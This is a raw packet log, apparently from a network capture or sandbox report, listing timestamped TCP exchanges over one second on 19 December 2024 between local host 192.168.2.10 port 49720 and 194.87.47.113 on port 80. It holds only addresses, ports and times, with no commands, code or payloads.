Dec 19, 2024 08:21:25.303538084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.304253101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.304500103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.304536104 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.305102110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.305165052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.305202961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.305804014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.305912971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.305953979 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.306564093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.306627035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.306667089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.307380915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.307477951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.307518959 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.308259010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.308280945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.308315992 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.308950901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.309055090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.309093952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.309696913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.356993914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.378906012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.378922939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.378968954 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.379096985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.379219055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.379255056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.379957914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.379971027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.380002022 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.383143902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.388427973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.388442039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.388484001 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.388726950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.388740063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.388766050 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.389296055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.389308929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.389334917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.391141891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.391194105 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.421384096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.421792030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.421806097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.421838045 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.422602892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.422616005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.422642946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.425980091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.425998926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.426012993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.426026106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.426029921 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.426039934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.426047087 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.426054001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.426067114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.426079035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.426114082 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.426589966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.426601887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.426640034 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.433654070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.433667898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.433773994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.433913946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.433927059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.433967113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.434710979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.434725046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.434768915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.435508013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.435534954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.435570002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.436326027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.436338902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.436379910 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.437222958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.437237024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.437294006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.437844038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.437855959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.437896967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.477061033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.477076054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.477128029 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.477464914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.477478981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.477514029 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.478173971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.478189945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.478236914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.479357958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.479370117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.479417086 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.479820013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.479831934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.479871035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.480664015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.480678082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.480737925 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.481470108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.481482983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.481518984 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.482249022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.482261896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.482300043 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.483072996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.483086109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.483122110 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.483633041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.483647108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.483685017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.483872890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.483886003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.483912945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.484771967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.484785080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.484824896 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.487502098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.487514019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.487550974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.488274097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.488286018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.488298893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.488311052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.488348961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.488548040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.488560915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.488609076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.489439964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.489456892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.489496946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.490156889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.490170002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.490210056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.490942955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.490957022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.490989923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.491739035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.491753101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.491808891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.492573023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.492587090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.492624998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.493469000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.493483067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.493520021 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.494261980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.494275093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.494333982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.494878054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.494891882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.494924068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.495556116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.495568991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.495604992 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.496020079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.496032953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.496077061 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.497469902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.497484922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.497519016 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.498167992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.498181105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.498208046 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.498965025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.498985052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.499032021 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.499571085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.500334978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.500350952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.500387907 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.501147985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.501159906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.501173019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.501190901 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.501226902 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.502127886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.502140999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.502197027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.503138065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.544511080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.571167946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.571276903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.571289062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.571346045 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.572160959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.572174072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.572202921 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.572593927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.572632074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.575139999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.581001043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.581015110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.581075907 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.581172943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.581187010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.581212044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.581320047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.581332922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.581357956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.583136082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.583190918 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.614305019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.614320993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.614376068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.614738941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.614753008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.614784956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.615833998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.615847111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.615880966 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.616478920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.616492987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.616538048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.617248058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.617261887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.617299080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.617960930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.618272066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.618284941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.618308067 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.619137049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.619178057 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.625730038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.625744104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.625797987 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.626049042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.626063108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.626096010 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.627022982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.627038002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.627073050 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.627132893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.627919912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.627933025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.627959967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.628720999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.628734112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.628757000 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.629506111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.629518986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.629540920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.631140947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.631190062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.668406010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.668421030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.668500900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.668822050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.668834925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.668870926 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.669507027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.670311928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.670324087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.670350075 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.671080112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.671092987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.671120882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.671947956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.671960115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.671986103 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.672096968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.672136068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.672784090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.672796011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.672856092 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.673562050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.673574924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.673608065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.674365997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.674380064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.674417973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.675287962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.675302029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.675358057 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.675981045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.675995111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.676031113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.676765919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.676779032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.676815033 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.677709103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.677721977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.677759886 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.678294897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.678308964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.678352118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.679141998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.679156065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.679198027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.679893017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.679904938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.679941893 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.680699110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.680712938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.680748940 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.681418896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.681580067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.681615114 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.682281971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.682293892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.682384968 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.683068991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.683080912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.683121920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.683845043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.683856964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.683895111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.684659958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.684676886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.684720993 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.685462952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.685476065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.685518026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.686286926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.686300039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.686337948 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.687038898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.687052011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.687103033 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.687810898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.687824011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.687861919 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.688601017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.688616037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.688649893 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.689300060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.689507961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.689551115 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.690068960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.690870047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.690881968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.690928936 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.691140890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.691184044 CET	49720	80	192.168.2.10	194.87.47.113
